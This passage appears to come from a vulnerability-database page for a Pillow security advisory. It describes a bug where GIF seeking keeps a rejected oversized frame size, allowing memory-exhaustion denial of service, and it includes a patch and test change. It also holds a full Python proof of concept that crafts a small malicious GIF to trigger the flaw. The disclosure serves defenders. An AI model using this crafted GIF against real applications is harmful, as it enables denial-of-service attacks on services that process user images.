than 1000 MiB\nwhile loading a 1\u00d71 frame. Otherwise it prints `OK`. With the attached patch\napplied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the\nlast line is `OK`.\n\n## Suggested fix\n\nThe attached patch validates before mutating in `GifImageFile._seek()`\n(`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a\nlocal, passed to `_decompression_bomb_check()`, and only then assigned to\n`self._size`, matching the order of the two `dispose_size` checks further down\nthe same function. A rejected frame therefore leaves the object in its pre-seek\nstate; valid files behave as before, and the exception is still raised at the\nsame point:\n\n```diff\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n x0, y0 = i16(s, 0), i16(s, 2)\n x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n- self._size = max(x1, self.size[0]), max(y1, self.size[1])\n- Image._decompression_bomb_check(self._size)\n+ size = max(x1, self.size[0]), max(y1, self.size[1])\n+ Image._decompression_bomb_check(size)\n+ self._size = size\n frame_dispose_extent = x0, y0, x1, y1\n flags = s[8]\n```\n\n`n_frames` / `is_animated` go through `update_image=False` and are unaffected.\nThe patch also extends `test_exception_gif_extents` in\n`Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after\nthe `DecompressionBombError`. It does not change `seek()` itself; optionally,\n`seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek\nto `last_frame`, so that a retried `seek()` does not resume parsing from the\nmiddle of the rejected frame.\n\n## The patch\n\nGIF: run the decompression bomb check on an enlarging frame\u0027s extent before storing it in self._size\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py\nindex 98d833736..83cc785fc 100644\n--- a/Tests/test_decompression_bomb.py\n+++ b/Tests/test_decompression_bomb.py\n@@ -63,6 +63,9 @@ class TestDecompressionBomb:\n with pytest.raises(Image.DecompressionBombError):\n im.seek(1)\n \n+ # The rejected frame should not have changed the image size\n+ assert im.size == (100, 100)\n+\n def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -\u003e None:\n # Set limit to trigger exception on the test file\n monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128)\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..f9bda06c2 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n x0, y0 = i16(s, 0), i16(s, 2)\n x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n- self._size = max(x1, self.size[0]), max(y1, self.size[1])\n- Image._decompression_bomb_check(self._size)\n+ size = max(x1, self.size[0]), max(y1, self.size[1])\n+ Image._decompression_bomb_check(size)\n+ self._size = size\n frame_dispose_extent = x0, y0, x1, y1\n flags = s[8]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 2,474 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# GifImageFile._seek() stores a frame\u0027s enlarged size in self._size and only\n# *then* runs the decompression-bomb check. The check raises, but the object\n# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the\n# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.\nimport io\nimport resource\nimport struct\n\nfrom PIL import Image\n\nBOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold\nLIMIT = 2 * Image.MAX_IMAGE_PIXELS\n\n\ndef frame_1x1():\n # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream\n return b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, 1, 1, 0) + b\"\\x02\\x02\\x44\\x01\\x00\"\n\n\ndef bomb_gif():\n return (\n b\"GIF89a\" + struct.pack(\"\u003cHHBBB\", 1, 1, 0x80, 0, 0) + b\"\\x00\" * 3 + b\"\\xff\" * 3\n + frame_1x1() # frame 0: 1x1, passes open()\n + b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000\n + frame_1x1() # a real 1x1 frame follows\n + b\";\"\n )\n\n\ndef peak_rss_mib():\n return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024\n\n\ndef setup_env():\n # Cap the address space so the oversized allocations end in MemoryError\n # instead of the OOM killer.\n resource.setrlimit(resource.RLIMIT_AS, (3 \u003c\u003c 30, 3 \u003c\u003c 30))\n data = bomb_gif()\n im = Image.open(io.BytesIO(data))\n print(f\"open(): {len(data)}-byte GIF, size={im.size}\")\n return im\n\n\ndef poc(im):\n # An application skips the bomb frame and keeps going.\n try:\n im.seek(1)\n except Image.DecompressionBombError as e:\n print(f\"seek(1) raised as intended: {e}\")\n return True\n return False\n\n\nim = setup_env()\nraised = poc(im)\n\n# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).\nprint(f\"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}\")\npoisoned = raised and im.size[0] * im.size[1] \u003e LIMIT and im.im.size == (1, 1)\n\n# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its\n# buffers from the poisoned im.size.\nbefore = peak_rss_mib()\nim.seek(1)\ntry:\n im.load()\n outcome = \"completed\"\nexcept MemoryError:\n outcome = \"MemoryError at the 3 GiB cap\"\nafter = peak_rss_mib()\nprint(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -\u003e {after} MiB\")\nballooned = after - before \u003e 1000\n\nprint(\"BUG\" if poisoned and ballooned else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "GHSA-65qm-jvmh-6pqg",
"modified": "2026-10-20T20:53:36Z",
"published": "2026-10-20T20:53:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112400"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS"
}
OPENSUSE-SU-2026:12230-1
Vulnerability from csaf_opensuse - Published: 2026-10-22 00:00 - Updated: 2026-10-23 09:44OPENSUSE-SU-2026:22246-1
Vulnerability from csaf_opensuse - Published: 2026-11-05 03:40 - Updated: 2026-11-10 19:42RHSA-2026:92510
Vulnerability from csaf_redhat - Published: 2026-10-29 15:22 - Updated: 2026-11-11 15:26A flaw was found in Pillow. When parsing a crafted GIF image, the library fails to discard rejected frame dimensions after encountering an excessively large image exception. If an application catches this exception and continues processing the image, subsequent operations attempt to allocate memory based on the oversized dimensions. A remote attacker can exploit this issue to exhaust system memory, resulting in a Denial of Service (DoS).
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.